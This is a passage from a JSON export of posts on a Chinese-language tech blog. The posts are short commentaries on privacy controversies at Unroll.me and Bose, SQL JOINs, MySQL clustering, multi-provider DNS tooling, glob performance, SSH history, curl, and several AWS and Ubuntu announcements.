unroll.me. At the time, which was over three years ago, they had kept a copy of every single email of yours that you sent or received while a part of their service. Those emails were kept in a series of poorly secured S3 buckets. A large part of Slice buying unroll.me was for access to those email archives. Specifically, they wanted to look for keyword trends and for receipts from online purchases.\r\n\r\nThe founders of unroll.me were pretty dishonest, which is a large part of why the company I worked for declined to purchase the company. As an example, one of the problems was how the founders had valued and then diluted equity shares that employees held. To make a long story short, there weren't any circumstances in which employees who held options or an equity stake would see any money.\r\n\r\nI hope you weren't emailed any legal documents or passwords written in the clear.</blockquote>\r\n\r\n而在 FAQ 的「<a href=\"https://unrollme.zendesk.com/hc/en-us/articles/200243036-If-I-delete-my-Unroll-Me-account-what-will-happen-to-all-of-my-previously-rolled-up-emails-\">If I delete my Unroll.Me account, what will happen to all of my previously rolled up emails?</a>」裡則是說我們沒有存你的信件：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qdNjqUC.webp\" /><img src=\"https://i.gslin.com/imgur/qdNjqUC.jpg\" alt=\"\" /></picture>\r\n\r\n這爆米花要多買一些了...",
    "title": "Uber 戰火蔓延到 Unroll"
  },
  {
    "id": "7262",
    "body": "<a href=\"https://unroll.me/\">Unroll</a> 在旁邊燒的時候 (參考 <a href=\"https://blog.gslin.org/archives/2017/04/24/7261/uber-%E6%88%B0%E7%81%AB%E8%94%93%E5%BB%B6%E5%88%B0-unroll/\">Uber 戰火蔓延到 Unroll</a>)，<a href=\"https://www.bose.com/\">Bose</a> 也不甘寂寞決定跟上科技業的潮流：「<a href=\"http://www.reuters.com/article/us-bose-lawsuit-idUSKBN17L2BT\">Bose headphones spy on listeners: lawsuit</a>」。\r\n\r\nBose 直接將他們 app 收集到的資訊拿出來賣：\r\n\r\n<blockquote>Bose Corp spies on its wireless headphone customers by using an app that tracks the music, podcasts and other audio they listen to, and violates their privacy rights by selling the information without permission, a lawsuit charged.</blockquote>\r\n\r\n這次打算控告的產品包括這些 (這邊提到的 Zak 是原告)：\r\n\r\n<blockquote>Zak is seeking millions of dollars of damages for buyers of headphones and speakers, including QuietComfort 35, QuietControl 30, SoundLink Around-Ear Wireless Headphones II, SoundLink Color II, SoundSport Wireless and SoundSport Pulse Wireless.</blockquote>\r\n\r\n編號可以記一下，之後可以拿來追蹤：\r\n\r\n<blockquote>The case is Zak v Bose Corp, U.S. District Court, Northern District of Illinois, No. 17-02928.</blockquote>",
    "title": "Bose 販賣用戶隱私被告"
  },
  {
    "id": "7263",
    "body": "SQL 的各種 JOIN 其實是個很好玩的主題，不是很難，但沒有仔細練習過一次通常只能答出常用的那幾種... 而且過一陣子又會忘記 XD\r\n\r\n這幾天不知道哪邊看到的舊文章「<a href=\"https://blog.jooq.org/2016/07/05/say-no-to-venn-diagrams-when-explaining-joins/\">Say NO to Venn Diagrams When Explaining JOINs</a>」，這篇作者大聲疾呼不要用 <a href=\"https://en.wikipedia.org/wiki/Venn_diagram\">Venn diagram</a> 解釋 SQL 的 JOIN，把比較特別的 JOIN 拿出來舉例...\r\n\r\n因為 Venn diagram 是講集合交聯集這類的操作，但 JOIN 不僅僅是如此... 舉例來說，CROSS JOIN 對應到 cartesian product 就沒辦法用 Venn diagram 簡單的表示出來，而必須畫的更「具體」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Qs7gUDU.webp\" /><img src=\"https://i.gslin.com/imgur/Qs7gUDU.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/q2iixrk.webp\" /><img src=\"https://i.gslin.com/imgur/q2iixrk.jpg\" alt=\"\" /></picture>",
    "title": "SQL 的各種 JOIN"
  },
  {
    "id": "7264",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2017/04/20/tracking-ist-progress-in-percona-xtradb-cluster/\">Tracking IST Progress in Percona XtraDB Cluster</a>」這篇介紹了 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">PXC</a> 在 IST 時的進度。\r\n\r\n是個新功能，很簡單的可以看到目前進度，也可以拿來當作 health check 的一部分，避免開機剛起來時開始提供服務：\r\n\r\n<pre>mysql&gt; show status like 'wsrep_ist_receive_status';\r\n+--------------------------+--------------------------------------------------------+\r\n| Variable_name | Value |\r\n+--------------------------+--------------------------------------------------------+\r\n| wsrep_ist_receive_status | 3% complete, received seqno 1421771 of 1415410-1589676 |\r\n+--------------------------+--------------------------------------------------------+\r\n1 row in set (0.00 sec)\r\n....\r\nmysql&gt; show status like 'wsrep_ist_receive_status';\r\n+--------------------------+---------------------------------------------------------+\r\n| Variable_name | Value |\r\n+--------------------------+---------------------------------------------------------+\r\n| wsrep_ist_receive_status | 52% complete, received seqno 1506799 of 1415410-1589676 |\r\n+--------------------------+---------------------------------------------------------+\r\n1 row in set (0.00 sec)\r\n....\r\nmysql&gt; show status like 'wsrep_ist_receive_status';\r\n+--------------------------+---------------------------------------------------------+\r\n| Variable_name | Value |\r\n+--------------------------+---------------------------------------------------------+\r\n| wsrep_ist_receive_status | 97% complete, received seqno 1585923 of 1415410-1589676 |\r\n+--------------------------+---------------------------------------------------------+\r\n1 row in set (0.00 sec)\r\nmysql&gt; show status like 'wsrep_ist_receive_status';\r\n+--------------------------+-------+\r\n| Variable_name | Value |\r\n+--------------------------+-------+\r\n| wsrep_ist_receive_status | |\r\n+--------------------------+-------+\r\n1 row in set (0.00 sec)</pre>",
    "title": "查看 Percona XtraDB Cluster 在 IST 時的進度"
  },
  {
    "id": "7265",
    "body": "<a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 最近的一個版本宣稱效能大幅提昇，這篇試著解釋原因：「<a href=\"https://www.percona.com/blog/2017/04/19/how-we-made-percona-xtradb-cluster-scale/\">How We Made Percona XtraDB Cluster Scale</a>」。\r\n\r\n裡面提了三個情境，解釋了這些效能問題以及解法，進而帶出這次的效能提昇：\r\n\r\n<blockquote>With these three main optimizations, and some small tweaks, we have tuned Percona XtraDB Cluster to scale better and made it fast enough for the growing demands of your applications. All of this is available with the recently released Percona XtraDB Cluster 5.7.17-29.20. Give it a try and watch your application scale in a multi-master environment, making Percona XtraDB Cluster the best fit for your HA workloads.</blockquote>",
    "title": "Percona XtraDB Cluster 解釋最近的版本為什麼可以再度提昇效能"
  },
  {
    "id": "7266",
    "body": "標題取自 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2017/04/22/better-linear-scaling/\">Better Than Linear Scaling</a>」。\r\n\r\n其實是因為機器數量增加，而且有妥善規劃，使得 cache 的 hit rate 上升而讓整體效率變好 (也就是 1 + 1 &gt; 2)。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z14q5Bh.webp\" /><img src=\"https://i.gslin.com/imgur/z14q5Bh.jpg\" alt=\"\" /></picture>\r\n\r\n不只在 database 上會發生，在其他系統上其實會有類似的情況，剛好看到覺得很懷念 XD",
    "title": "超越線性成長的資料庫架構"
  },
  {
    "id": "7269",
    "body": "他們的解法是設計出一套 DSL (Domain Specific Language)，然後從 DSL 轉出各 DNS 商的格式：「<a href=\"http://blog.serverfault.com/2017/04/11/introducing-dnscontrol-dns-as-code-has-arrived/\">Introducing DnsControl – “DNS as Code” has Arrived</a>」。\r\n\r\n以 <code>stackoverflow.com</code> 來說，可以看到有同時使用 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/route53/\">Route 53</a> 與 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://cloud.google.com/dns/\">Cloud DNS</a>：\r\n\r\n<pre>;; ANSWER SECTION:\r\nstackoverflow.com.      36458   IN      NS      ns-cloud-e2.googledomains.com.\r\nstackoverflow.com.      36458   IN      NS      ns-358.awsdns-44.com.\r\nstackoverflow.com.      36458   IN      NS      ns-1033.awsdns-01.org.\r\nstackoverflow.com.      36458   IN      NS      ns-cloud-e1.googledomains.com.</pre>\r\n\r\n於是他們就用 DSL 管理：\r\n\r\n<pre>D(“stackoverflow.com”, REG_NAMEDOTCOM, DnsProvider(R53), DnsProvider(GCLOUD),\r\n    A(“@”, “198.252.206.16”),\r\n    A(“blog”, “198.252.206.20”),\r\n    CNAME(“chat”, “chat.stackexchange.com.”),\r\n    CNAME(“www”, “@”, TTL(3600)),\r\n    A(“meta”, “198.252.206.16”)\r\n)</pre>\r\n\r\n這套程式碼在「<a href=\"https://github.com/StackExchange/dnscontrol\">StackExchange/dnscontrol</a>」這邊，但這樣搞有種微妙的感覺... 不考慮直接用兩家有支援 <a href=\"https://en.wikipedia.org/wiki/DNS_zone_transfer\">AXFR</a> 架構的 DNS 商來架設嗎？這樣就只要用 <a href=\"https://www.isc.org/downloads/bind/\">BIND</a> 這類已經很熟悉的軟體設定就好？",
    "title": "StackOverflow 對於多 DNS 商的同步方式..."
  },
  {
    "id": "7271",
    "body": "在「<a href=\"https://research.swtch.com/glob\">Glob Matching Can Be Simple And Fast Too</a>」這邊看到在分析 <code>(a.*)<sup>n</sup>b</code> 這樣的 pattern 的效能 (像是 <code>a.*a.*a.*b</code> 這樣的東西)，第一波先測 shell，結果發現有趣的現象：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JnPASNo.webp\" /><img src=\"https://i.gslin.com/imgur/JnPASNo.jpg\" alt=\"\" /></picture>\r\n\r\n那個 <a href=\"https://en.wikipedia.org/wiki/C_shell\">csh</a> 是怎麼了 XDDD\r\n\r\n<blockquote>Looking at the source code, it doesn’t attempt to perform glob expansion itself. Instead it calls the C library implementation glob(3), which runs in linear time, at least on this Linux system. So maybe we should look at programming language implementations too.</blockquote>\r\n\r\n再來是看各程式語言：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yjJ0BDB.webp\" /><img src=\"https://i.gslin.com/imgur/yjJ0BDB.jpg\" alt=\"\" /></picture>\r\n\r\n各家實做方式不一樣 XD\r\n\r\n然後文章裡有提到這個方式是之前蠻常見的 DoS 技巧，用很少的資源就可以吃光你的 CPU resource... 另外也提到了可能的解法，就是限制星號的數量：\r\n\r\n<blockquote>At the very least, most FTP servers should probably reject glob patterns with more than, say, 3 stars.</blockquote>\r\n\r\n後面演算法的部份也是很有趣的主題...",
    "title": "各家 glob 的效能..."
  },
  {
    "id": "7272",
    "body": "雖然現在全世界都在用 <a href=\"https://www.openssh.com/\">OpenSSH</a>，但當初 SSH 其實是 <a href=\"https://www.ssh.com/\">SSH Communications Security</a> 所發展出來的。最近上面在講當初申請 port 22 的故事：「<a href=\"https://www.ssh.com/ssh/port\">How SSH Port Became 22</a>」。\r\n\r\n選 port 22 是因為剛好要取代 port 21 的 ftp 與 port 23 的 telnet：\r\n\r\n<blockquote>Anyway, I designed SSH to replace both telnet (port 23) and ftp (port 21). Port 22 was free. It was conveniently between the ports for telnet and ftp. I figured having that port number might be one of those small things that would give some aura of credibility. But how could I get that port number? I had never allocated one, but I knew somebody who had allocated a port.</blockquote>\r\n\r\n而後來就寫信去要 port 22 這個位置...",
    "title": "SSH 在 Port 22 的故事"
  },
  {
    "id": "7273",
    "body": "<a href=\"https://curl.haxx.se/\">curl</a> 的作者 Daniel Stenberg 寫了一篇關於他 refactor 大幅改善了 curl 的效能：「<a href=\"https://daniel.haxx.se/blog/2017/04/22/fewer-mallocs-in-curl/\">Fewer mallocs in curl</a>」。\r\n\r\n藉由大幅減少 <code>malloc()</code> 次數，在抓大檔案時會有明顯的改善：\r\n\r\n<blockquote>7.54.1-DEV repeatedly performed 30% faster! The 2200MB/sec in my build of the earlier release increased to over 2900 MB/sec with the current version.</blockquote>\r\n\r\n另外如果對 localhost 抓 80GB 的話，可以看到時間大幅縮短：\r\n\r\n<pre>Old code:\r\n\r\nreal    0m36.705s\r\nuser    0m20.176s\r\nsys     0m16.072s\r\n\r\nNew code:\r\n\r\nreal    0m29.032s\r\nuser    0m12.196s\r\nsys     0m12.820s</pre>",
    "title": "curl 的 refactor 減少 malloc() 的次數"
  },
  {
    "id": "7274",
    "body": "在「<a href=\"https://techiedelight.quora.com/500-Data-structures-and-algorithms-interview-questions-and-their-solutions\">500 Data structures and algorithms interview questions and their solutions</a>」這邊看到在 <a href=\"https://www.quora.com/\">Quora</a> 上整理出來的題目 (以及解答)。\r\n\r\n每個題目下面也都有地方可以留言，等久一點應該會更豐富？\r\n\r\n另外一個不錯的地方在於題目的分類，舉例來說，如果想要練習 Backtracking，可以去翻對應的題目出來練。",
    "title": "在面試時的資料結構與演算法的問題"
  },
  {
    "id": "7275",
    "body": "<a href=\"https://www.google.com/\">Google</a> 推出的 PhotoScan (<a href=\"https://play.google.com/store/apps/details?id=com.google.android.apps.photos.scanner\">Android</a>、<a href=\"https://itunes.apple.com/app/apple-store/id1165525994\">iOS</a>) 可以利用多次不同角度的拍攝來消除反光：「<a href=\"https://research.googleblog.com/2017/04/photoscan-taking-glare-free-pictures-of.html\">PhotoScan: Taking Glare-Free Pictures of Pictures</a>」。\r\n\r\n把這五張照片轉成一張處理過的照片：\r\n\r\n<img src=\"https://i.gslin.com/imgur/SidpANl.gif\" alt=\"\" />\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aadlnrw.webp\" /><img src=\"https://i.gslin.com/imgur/aadlnrw.jpg\" alt=\"\" /></picture>",
    "title": "Google 推出的 PhotoScan，利用多張照片去除反光"
  },
  {
    "id": "7276",
    "body": "<a href=\"https://archive.org/\">Internet Archive</a> 收錄了早期的 <a href=\"https://en.wikipedia.org/wiki/Macintosh\">Macintosh</a> 程式：「<a href=\"https://blog.archive.org/2017/04/16/early-macintosh-emulation-comes-to-the-archive/\">Early Macintosh Emulation Comes to the Archive</a>」，從 1984 到 1989 的版本：\r\n\r\n<blockquote>The first set of emulated Macintosh software is located in this collection. This is a curated presentation of applications, games, and operating systems from 1984-1989.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tscL1Hk.webp\" /><img src=\"https://i.gslin.com/imgur/tscL1Hk.jpg\" alt=\"\" /></picture>\r\n\r\n以現在來看好小 XDDD\r\n\r\n<blockquote>While it is a (warning) 40 megabyte download, this compilation of System 7.0.1 includes a large variety of software programs and a rather rich recreation of the MacOS experience of 1991.</blockquote>",
    "title": "Internet Archive 收錄早期的 Macintosh 程式"
  },
  {
    "id": "7277",
    "body": "算是宣示性質的新聞稿吧，畢竟官網與 blog 以及 API 都還是沒 AAAA record：「<a href=\"https://blogs.dropbox.com/tech/2017/04/adding-ipv6-connectivity-support-to-the-dropbox-desktop-client/\">Adding IPv6 connectivity support to the Dropbox desktop client</a>」。\r\n\r\n文章裡面提到支援 IPv6 only network，應該是指 ISP 有支援 NAT64 轉換的情況下可以使用 <a href=\"https://www.dropbox.com/\">Dropbox</a> 資源，而不是 Dropbox 整個 IPv6 ready...\r\n\r\n<pre>gslin@home [~] [17:49/W4] dig www.dropbox.com aaaa @8.8.8.8\r\n\r\n; <<>> DiG 9.9.5-3ubuntu0.14-Ubuntu <<>> www.dropbox.com aaaa @8.8.8.8\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63706\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 512\r\n;; QUESTION SECTION:\r\n;www.dropbox.com.               IN      AAAA\r\n\r\n;; ANSWER SECTION:\r\nwww.dropbox.com.        55      IN      CNAME   www.dropbox-dns.com.\r\n\r\n;; AUTHORITY SECTION:\r\ndropbox-dns.com.        1794    IN      SOA     dns1.p06.nsone.net. hostmaster.nsone.net. 1493415466 43200 7200 1209600 60\r\n\r\n;; Query time: 18 msec\r\n;; SERVER: 8.8.8.8#53(8.8.8.8)\r\n;; WHEN: Sat Apr 29 17:49:10 CST 2017\r\n;; MSG SIZE  rcvd: 139</pre>",
    "title": "Dropbox 的桌面端應用支援 IPv6 環境了..."
  },
  {
    "id": "7279",
    "body": "<a href=\"https://www.backblaze.com/b2/\">Backblaze B2</a> 是個 cloud storage 服務 (類似於 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a>)，最近宣布降價：「<a href=\"https://www.backblaze.com/blog/b2-drops-download-pricing/\">Backblaze B2 Drops Download Price By 60%</a>」。\r\n\r\n這次降價是降流量的部分，從 USD$0.05/GB 降到 USD$0.02/GB。參考去年的價錢：「<a href=\"https://web.archive.org/web/20161026181825/https://www.backblaze.com/b2/cloud-storage-pricing.html\">Cheapest Secure Cloud Storage Provider: B2</a>」。\r\n\r\n不知道可以傳多快，另外是工具的豐富度比 S3 還是差不少 :o",
    "title": "Backblaze B2 的降價..."
  },
  {
    "id": "7280",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣布 <a href=\"https://aws.amazon.com/dynamodb/\">Amazon DynamoDB</a> 也可以透過 <a href=\"https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/vpc-endpoints.html\">VPC Endpoints</a> 接通了 (雖然是 public preview，表示要申請...)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/04/announcing-vpc-endpoints-for-amazon-dynamodb-now-in-public-preview/\">Announcing VPC Endpoints for Amazon DynamoDB, Now in Public Preview</a>」。\r\n\r\n但看起來只有特定的區域才有，大家比較常用的 us-east-1、us-west-2 都不在本次範圍內：\r\n\r\n<ul>\r\n\t<li>Asia Pacific (Seoul)</li>\r\n\t<li>Asia Pacific (Singapore)</li>\r\n\t<li>Asia Pacific (Sydney)</li>\r\n\t<li>Asia Pacific (Tokyo)</li>\r\n\t<li>EU (Frankfurt)</li>\r\n\t<li>South America (Sao Paulo)</li>\r\n\t<li>US East (Ohio)</li>\r\n\t<li>US West (N. California)</li>\r\n</ul>\r\n\r\n這樣讓內部完全無法連外的 private subnet 又多了一些應用可以跑。",
    "title": "Amazon DynamoDB 也可以接在 VPC 內直接通了 (Public Preview)"
  },
  {
    "id": "7281",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 提供更快計算 <a href=\"https://bitcoin.org/\">Bitcoin</a> 的 FPGA 機種開放一般使用了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/04/amazon-ec2-f1-instances-customizable-fpgas-for-hardware-acceleration-are-now-generally-available/\">Amazon EC2 F1 Instances, Customizable FPGAs for Hardware Acceleration Are Now Generally Available</a>」。\r\n\r\n在 AWS 開始提供服務後，應該會有更多 library 支援吧... 現在現有的應用要上去還得自己先刻些東西，不像 <a href=\"https://www.tensorflow.org/\">TensorFlow</a> 可以透過 GPU 運算。\r\n\r\n<blockquote>F1 instances include the latest 16 nm Xilinx UltraScale Plus FPGA with local 64 GiB DDR4 ECC protected memory, with a dedicated PCI-e x16 connection to the instance. For F1.16xlarge instances, the dedicated PCI-e fabric lets the FPGAs share the same memory space and communicate with each other across the fabric at up to 12 GBps in each direction. The FPGAs within the F1.16xlarge share access to a 400 Gbps bidirectional ring for low-latency, high bandwidth communication.</blockquote>",
    "title": "Amazon EC2 的 F1 type 開放一般使用"
  },
  {
    "id": "7282",
    "body": "在 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 團隊發表完自己開發管理 DNS 的程式後 (參考「<a href=\"https://blog.gslin.org/archives/2017/04/27/7269/stackoverflow-%E5%B0%8D%E6%96%BC%E5%A4%9A-dns-%E5%95%86%E7%9A%84%E5%90%8C%E6%AD%A5%E6%96%B9%E5%BC%8F/\">StackOverflow 對於多 DNS 商的同步方式...</a>」)，<a href=\"https://github.com/\">GitHub</a> 也來參一腳：「<a href=\"https://githubengineering.com/enabling-split-authority-dns-with-octodns/\">Enabling DNS split authority with OctoDNS</a>」。\r\n\r\n可以看到 GitHub 用了兩家的系統 (<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/route53/\">Route 53</a> 與 <a href=\"https://dyn.com/\">Dyn</a> 的服務)：\r\n\r\n<pre>;; AUTHORITY SECTION:\r\ngithub.com.             172800  IN      NS      ns1.p16.dynect.net.\r\ngithub.com.             172800  IN      NS      ns3.p16.dynect.net.\r\ngithub.com.             172800  IN      NS      ns2.p16.dynect.net.\r\ngithub.com.             172800  IN      NS      ns4.p16.dynect.net.\r\ngithub.com.             172800  IN      NS      ns-520.awsdns-01.net.\r\ngithub.com.             172800  IN      NS      ns-421.awsdns-52.com.\r\ngithub.com.             172800  IN      NS      ns-1707.awsdns-21.co.uk.\r\ngithub.com.             172800  IN      NS      ns-1283.awsdns-32.org.</pre>\r\n\r\nGitHub 的 <a href=\"https://github.com/github/octodns/\">OctoDNS</a> 用 YAML 管理：\r\n\r\n<pre>octodns:\r\n  type: A\r\n  values:\r\n    - 1.2.3.4\r\n    - 1.2.3.5</pre>\r\n\r\n<pre>zones:\r\n  github.com.:\r\n    sources:\r\n      - config\r\n    targets:\r\n      - dyn\r\n      - route53</pre>\r\n\r\n有種當初 Dyn 被打趴後大家硬是想個解法的產物... @_@",
    "title": "GitHub 也自己搞了一套管理多家 DNS 的程式..."
  },
  {
    "id": "7283",
    "body": "「<a href=\"https://jakearchibald.com/2017/combining-fonts/\">Combining fonts</a>」這邊示範了如何使用 CSS 的 <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range\"><code>unicode-range</code></a> 針對某些特殊字元混用不同的字型，作者利用這個技巧，把 hyphen 與 equals 換掉...：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7RtqHXf.webp\" /><img src=\"https://i.gslin.com/imgur/7RtqHXf.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/upID0lG.webp\" /><img src=\"https://i.gslin.com/imgur/upID0lG.jpg\" alt=\"\" /></picture>\r\n\r\n看了一下，支援度還蠻高的？IE 支援度是 9+ 的功能...",
    "title": "用 unicode-range 混合不同的字型"
  },
  {
    "id": "7284",
    "body": "<a href=\"https://aws.amazon.com/storagegateway/\">AWS Storage Gateway</a> 推出新功能 File Gateway：「<a href=\"https://aws.amazon.com/blogs/aws/file-interface-to-aws-storage-gateway/\">File Interface to AWS Storage Gateway</a>」。\r\n\r\n可以讓使用者在前面用 NFS，後面實際接的是 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a>：\r\n\r\n<blockquote>After you set it up in your data center or in the cloud, your configured buckets will be available as NFS mount points. Your application simply reads and writes files and directories over NFS; behind the scenes, the gateway turns these operations into object-level requests on your S3 buckets, where they are accessible natively (one S3 object per file).</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XnccIvC.webp\" /><img src=\"https://i.gslin.com/imgur/XnccIvC.jpg\" alt=\"\" /></picture>\r\n\r\n以前自己用 <a href=\"https://en.wikipedia.org/wiki/Filesystem_in_Userspace\">FUSE</a> 惡搞的方式，現在變成官方支援的功能？XDDD",
    "title": "AWS Storage Gateway 的新功能：File Gateway"
  },
  {
    "id": "7285",
    "body": "<a href=\"https://www.heroku.com/\">Heroku</a> 也推出 CI 服務了：「<a href=\"https://blog.heroku.com/building-tools-for-developers-heroku-ci\">On Building Tools for Developers: Heroku CI</a>」，不過這篇比較有趣的應該是做了不少問卷統計 (Heroku 自己做的，預期會有 bias，心裡有底來看這些資料就好)。\r\n\r\n大家最在意的還是各種速度 (第一與第三名)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NFMpySW.webp\" /><img src=\"https://i.gslin.com/imgur/NFMpySW.jpg\" alt=\"\" /></picture>\r\n\r\n然後完全是 <a href=\"https://github.com/\">GitHub</a> 一統天下的感覺：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9i78yWg.webp\" /><img src=\"https://i.gslin.com/imgur/9i78yWg.jpg\" alt=\"\" /></picture>\r\n\r\n另外是 <a href=\"https://circleci.com/\">Circle CI</a> 打下不少市場，應該是半免費的策略產生的？也許應該看一看跟 <a href=\"https://travis-ci.com/\">Travis CI</a> 的差距... (不過 Travis CI 的 image 居然還只有 12.04 或 14.04 可以挑，這就讓人 orz 了...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VsYJVpH.webp\" /><img src=\"https://i.gslin.com/imgur/VsYJVpH.jpg\" alt=\"\" /></picture>",
    "title": "Heroku 也要進入 CI 市場..."
  },
  {
    "id": "7287",
    "body": "在「<a href=\"http://undeadly.org/cgi?action=article&sid=20170501005206\">OpenSSH Removes SSHv1 Support</a>」這邊看到 <a href=\"https://www.openssh.com/\">OpenSSH</a> 拔掉 SSHv1 程式碼的消息。\r\n\r\n<blockquote>In a series of commits starting here and ending with this one, Damien Miller completed the removal of all support for the now-historic SSHv1 protocol from OpenSSH.</blockquote>\r\n\r\n在新的 distribution 裡引入新版 OpenSSH 時就不會有 SSHv1 的功能了...",
    "title": "OpenSSH 完全移除 SSHv1 的程式碼"
  },
  {
    "id": "7288",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，這是一篇教你怎麼讀論文的論文：「<a href=\"http://blizzard.cs.uwaterloo.ca/keshav/home/Papers/data/07/paper-reading.pdf\">How to Read a Paper</a>」，標注的版本是 Version of February 17, 2016。\r\n\r\n不是惡搞的那種文章，整篇只有兩頁，真的給一種建議方式讓還在迷惘的人可以試著用用看...\r\n\r\n如果你已經有自己的方法，就未必要用這篇的方法了...",
    "title": "一篇教你怎麼讀論文的論文..."
  },
  {
    "id": "7289",
    "body": "看到 <a href=\"https://aws.amazon.com/codedeploy/\">CodeDeploy</a> 跟 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a>/<a href=\"https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/\">ALB</a> 整合的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/05/aws-codedeploy-now-integrates-with-elastic-load-balancer/\">AWS CodeDeploy now integrates with Elastic Load Balancer</a>」。\r\n\r\n不過看同事在「<a href=\"https://shazi.info/aws-%E6%9B%BF-codedeploy-%E5%8A%A0%E5%85%A5-load-balancer-%E7%9A%84%E5%8A%9F%E8%83%BD/\">AWS 替 CodeDeploy 加入 Load balancer 的功能</a>」這邊提到的效能問題，看起來頗慘...\r\n\r\n至少是個整合後的方法... 也許之後會改善吧。",
    "title": "CodeDeploy 跟 ELB/ALB 整合了..."
  },
  {
    "id": "7290",
    "body": "這次 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 主要降的是 Reserved Instances 的部份：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-price-reductions-reserved-instances-m4-instances/\">EC2 Price Reductions – Reserved Instances &amp; M4 Instances</a>」。\r\n\r\n<ul>\r\n\t<li>New No Upfront Payment Option for 3 Year Standard RIs</li>\r\n\t<li>Lower Prices for No Upfront Reserved Instances</li>\r\n\t<li>Lower Prices for Convertible Reserved Instances</li>\r\n</ul>\r\n\r\n另外一般性的降價以 m4 為主：「Lower Prices for M4 Instances」，如果拿 t2.large 跟 m4.large 比較，us-west-2 (Oregon) 的價錢就很微妙了：\r\n\r\n<pre>t2.large\t2\tVariable\t8\tEBS Only\t$0.094 per Hour\r\nm4.large\t2\t6.5\t\t8\tEBS Only\t$0.1 per Hour</pre>\r\n\r\n如果是 ap-northeast-1 (Tokyo) 的話是：\r\n\r\n<pre>t2.large\t2\tVariable\t8\tEBS Only\t$0.128 per Hour\r\nm4.large\t2\t6.5\t\t8\tEBS Only\t$0.129 per Hour</pre>\r\n\r\n雖然 <a href=\"https://aws.amazon.com/\">AWS</a> 官方的說法是這樣 (取自「<a href=\"https://stackoverflow.com/a/41882842/109396\">AWS t2 burst mode ECU equivalence</a>」)，表示 t2 系列有他特別可以應用的地方，但還是有哪邊覺得很微妙...：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/n3OqEqa.webp\" /><img src=\"https://i.gslin.com/imgur/n3OqEqa.jpg\" alt=\"\" /></picture>",
    "title": "Amazon EC2 的 RI 降價"
  },
  {
    "id": "7291",
    "body": "<a href=\"http://releases.ubuntu.com/12.04/\">Ubuntu 12.04</a> (Precise Pangolin) 上個禮拜宣佈終結了：「<a href=\"https://lists.ubuntu.com/archives/ubuntu-announce/2017-April/000221.html\">Ubuntu 12.04 (Precise Pangolin) End of Life reached on April 28, 2017</a>」。還有被迫要使用 12.04 的人可以買 ESM (Extended Security Maintenance)：「<a href=\"https://insights.ubuntu.com/2017/03/14/introducing-ubuntu-12-04-esm-extended-security-maintenance/\">Introducing Ubuntu 12.04 ESM (Extended Security Maintenance)</a>」。\r\n\r\n話說回來，16.04 用到現在 (都已經出到 16.04.2 了)，用起來覺得整體的流暢度與穩定度比 14.04 差了一大截...",
    "title": "Ubuntu 12.04 終結 (EoL)"
  },
  {
    "id": "7292",
